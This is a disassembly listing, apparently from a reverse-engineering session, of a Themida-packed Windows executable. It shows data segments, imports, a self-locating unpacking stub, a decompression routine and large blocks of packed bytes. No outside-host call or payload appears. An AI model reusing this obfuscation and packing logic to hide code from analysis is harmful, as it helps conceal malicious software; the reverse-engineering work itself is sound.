					; sub_41761C+DDo ...
dword_4D4040	dd 44h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383B0o
		dd 1BBh	dup(0)
dword_4D4840	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4844	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4848	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D484C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4850	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A50	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A58	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A5C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A60	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A64	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A68	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A6C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A74	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C74	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB188	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB18C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB390	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3EC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5EC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5F0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB64C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB84C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB850	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA50	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC54	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC58	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC5C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC60	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC64	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC98	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBCA0	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCDC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDDC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDE4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDEC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDF0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDF4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBE08	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBE0C	dd 2460B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE14	dd 2460B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE24	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE2C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE34	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE38	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE40	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE44	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE4C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE50	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE54	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE58	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE5C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE60	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE68	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE6C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE70	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE74	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE78	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE7C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE80	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE84	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE88	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBEA4	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBEAC	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE24o
		align 4
		dd 3Ah dup(0)
dword_4DBFB4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFB8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFBC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFC0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFC4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFC8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFCA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFCC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFE8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFEC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFF0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFF4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFF8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFFC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DC000	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DC004	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DC008	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DC00C	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC010	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC014	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC018	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC020	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC024	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC028	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC02C	dd 2461140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
		dd 4 dup(0)
dword_4DC040	dd 400h	dup(0)		; DATA XREF: ___:off_43D578o
					; ___:0043D580o
dword_4DD040	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD060	dd 2460650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD064	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD160	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD164	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD170	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD17C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD180	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD280	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD281	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD384	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD388	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD38C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD390	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD394	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD398	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD39C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD3A0	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD3A4	dd 2460000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD3A8	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD3AC	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD3B0	dd 1			; DATA XREF: ___:00423780w
dword_4DD3B4	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD3B8	dd 2460758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD3BC	dd 2460758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 310h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨ηw΅\ηw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385B4o
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 4
		dd 238h	dup(0)
dword_4E097C	dd 1A1h	dup(0)		; DATA XREF: sub_559249-4DA5o
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000FD000 (1036288.)
; Section size in file		: 000FD000 (1036288.)
; Offset to raw	data for section: 000E1000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E1000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 7601B1F9h, 4D5F1h, 54138h, 96172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 10h,	4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: Themida_:004E102Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: Themida_:004E1072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: Themida_:004E1059j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: Themida_:004E106Bj
		mov	edi, eax


loc_4E1076:				; CODE XREF: Themida_:004E102Fj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E126Ah
		add	ecx, edi
		jmp	short loc_4E1090
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: Themida_:004E101Cj
		mov	eax, offset loc_5495FC
		mov	ecx, offset word_4E126A


loc_4E1090:				; CODE XREF: Themida_:004E1084j
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: Themida_:004E1092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------


loc_4E1265:				; CODE XREF: Themida_:loc_4E1076j
					; Themida_:004E10B1j
		jmp	loc_5495FC
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: Themida_:004E108Bo
		dd 1523534h, 1CEEBABh, 8B36B810h, 0F0BF2F84h, 1C736552h
		dd 0CE726174h, 2E2F7041h, 219C784Fh, 1721D9D7h,	1D22F908h
		dd 917F17C2h, 0D7857011h, 5E3CBC7Eh, 1103246Eh,	98C8ABAFh
		dd 0F0AA42B8h, 0E656854h, 6164696Dh, 78A8BE10h,	0F8FF0EE1h
		dd 0BE1FE101h, 0FE19222h, 0B835C8BBh, 22BFAF47h, 0AB0BE171h
		dd 0DD6C01CAh, 5F0115DAh, 8403CAE3h, 0F04DAA3Fh, 1A533E8h
		dd 0FCBE46B8h, 1CC5728Bh, 22E860D4h, 0ED815D00h, 60E3543h
		dd 55951889h, 0D5B50D30h, 20852F44h, 830821F9h,	3802E9BDh
		dd 8B0C7407h, 0B8E222E8h, 0C27B91C4h, 244470C7h, 406D3E1Ch
		dd 45186A1Eh, 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h
		dd 42D5A40Ah, 950214E9h
		db 0ECh, 0F4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		adc	dword ptr [eax], 23631EAh
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0EC60846h ; CODE XREF: Themida_:004E136Ej
		inc	eax
		mov	[eax], ecx
		aas
		cmp	dword ptr [ebp+31h], 0F741D80h
		lahf
		and	[eax], cl
		leave
		sbb	dword ptr [ebx+12FF1026h], 18h
		inc	ebx
		jmp	short near ptr loc_4E1350+1
; ---------------------------------------------------------------------------
		dd 0DD61DC36h, 0C2C90526h, 81460104h, 0A3FF7CC4h, 7A914902h
		dd 80458D00h, 0C7085D8Bh, 12198551h, 0A808D50h,	1888C3D1h
		dd 0B89412Ah, 6BD8128h,	0E3755D80h, 8D0A27A5h, 0E3B64BAh
		dd 0C48A8075h, 5B90F4BBh, 0F37ABB8h, 0D0D37854h, 4B080FCCh
		dd 5F7753Bh, 4647C3AFh,	46624A24h, 0D142A2F9h, 78ABA61h
		dd 0D85FF0D0h, 0A0FC45EEh, 0A304EB4Dh, 8046C8ADh, 0F740C53Eh
		dd 348436BAh, 0C197DE6h, 0F83E7FEBh, 12C86D0Ch,	0F40E4CF0h
		dd 0C14A10A8h, 4F06514h, 0D1F803D6h, 96C203E0h,	0DB330128h
		dd 80301C8Ah, 0A72CCFBh, 77390AC3h, 0EFEBD305h,	7F142226h
		dd 0A0D6761h, 1E08F666h, 0AC3F4F5h, 1AC310EAh, 0D0B7241h
		dd 677460Ah, 121EA24h, 0EC87F05Dh, 317D83F4h, 0B3B07202h
		dd 7676C00Ch, 26AA64A5h, 76E01CF8h, 3BA8A08Dh, 0FFC0A55h
		dd 9CBD7882h, 38AA1BB0h, 8BA0EE5h, 700AB90Eh, 0C0BD84FCh
		dd 0FFE0037h, 1C754947h, 5D22B9FAh, 1BBC76Ah, 82F1D111h
		dd 276DBEBh, 9F868E0Fh,	51078339h, 0F4368365h, 268ACE5Dh
		dd 44E93EF1h, 0BC520159h, 21457B89h, 8008F55Ch,	0E07F101Bh
		dd 0C2240Bh, 0A9BC58AEh, 5C47252Dh, 0C33D2CE2h,	0F9667867h
		dd 1CBAF158h, 3E34CB8Ch, 4E398280h, 100F765Bh, 3D51B807h
		dd 3BC7D104h, 1B624666h, 0CA2E0975h, 0EC480E01h, 69065E4h
		dd 0C5844F40h, 968E1905h, 1E53D9B2h, 29C20415h,	5718C03h
		dd 0E6EE782h, 2BFFCCA0h, 4773081h, 0C1341D22h, 33F98406h
		dd 41BC2075h, 0D90ADD3Fh, 2309CEFh, 26EC41CEh, 7ECC7F8Ch
		dd 3F4043FFh, 60E9A945h, 52C46240h, 254D028Ch, 0B1AA8211h
		dd 5AAB3413h, 56132284h, 825ED298h, 81BDEE2Ah, 137BF381h
		dd 88B9EA8Ah, 97142313h, 80E9A243h, 0C8292509h,	81A800F0h
		dd 0B45CC1D4h, 1060EACFh, 0B0C01E21h, 3A4203B7h, 0E5FFB5F8h
		dd 74E907E8h, 8D671F07h, 53976BDAh, 1C350496h, 85C45B21h
		dd 0C25558Ah, 150845BBh, 534321C1h, 0AF4085C4h,	9F78BE4h
		dd 6105E281h, 20A42307h, 5F4EA3B9h, 0B620101h, 7A8610CAh
		dd 0FA613F80h, 4AE1BA67h, 0EA3053FEh, 0F8F61B07h, 0FE900621h
		dd 34C85C2Ah, 28E0E50h,	57AA23D9h, 0C4725F18h, 11758A23h
		dd 5747001Ah, 0DE1636C4h, 8EBE0AFBh, 409E8F10h,	0E08C6753h
		dd 37EA5C15h, 0E512331h, 8A44C459h, 201D6245h, 0BC45141h
		dd 72532F00h, 0FE29810h, 6594906Dh, 22D960DCh, 0E72F0165h
		dd 0F6C38A8Fh, 0E918291Ah, 57D800AFh, 0CCDA80E7h, 0C321ECE7h
		dd 98F83Ch, 0DB684134h,	294FAE6Ch, 0C8C8D10h, 3E4E5CFAh
		dd 88080D44h, 901D63Dh,	88F31B03h, 198E0CEAh, 0E3409DF0h
		dd 59A84731h, 0CF426601h, 82C38B5Bh, 1BEB87C9h,	3311EA28h
		dd 0B0D560C7h, 9C008EB6h, 0A693DEFEh, 0D0BE9Dh,	0F734244Ah
		dd 8CC8C010h, 82330D0Fh, 665C7F2h, 0ECC2C07Eh, 3F32F6BCh
		dd 0EA03B5B8h, 350C776Dh, 0A006C822h, 0EF5C429h, 615752C7h
		dd 55BB6223h, 0D82F8BE1h, 53C905Ch, 0EEC00333h,	0EEA2Ah
		dd 95DEF83Bh, 0D46E3219h, 0A0BAD707h, 84A160A7h, 0C54205EFh
		dd 0D1A60DFh, 41C2E1A9h, 4C3A84Ah, 0D5DBB80Dh, 3DC5C0A2h
		dd 0B9004081h, 919D512Dh, 234145h, 21EC8360h, 757E4B6Eh
		dd 1BC0F800h, 0DF3D65CDh, 0F3CE0F22h, 1FD18Bh, 3E1942CFh
		dd 0E718298Ch, 9558DF2Eh, 0C4B3004Fh, 0CCC760D5h, 0D102EB48h
		dd 98409113h, 0A040A06Fh, 5B8327h, 0B54E5236h, 6058341Fh
		dd 0F7767E00h, 0CAF6C2C0h, 0C8E0387h, 6BFED789h, 66073A0h
		dd 5EAC8600h, 455D6F8Dh, 74DA0393h, 0CCE7FA1h, 2E6566F7h
		dd 0B8703B07h, 88831EACh, 33E8E12Dh, 28A997h, 75630778h
		dd 9A0067E1h, 0C76109ADh, 0E79379h, 5C8A8EE2h, 3DE920C0h
		dd 746C4603h, 0A6AE1Eh,	28DC60C1h, 0E841317Eh, 17592A60h
		dd 90F8EFh, 61C019B5h, 0CC1FB7BCh, 791DF91Ch, 9493C903h
		dd 60D8F070h, 0DF3E0691h, 41258C21h, 46C1C51Bh,	9224E060h
		dd 21770060h, 0E388D8FBh, 0F8012CA8h, 0A0EA96B3h, 93F036DAh
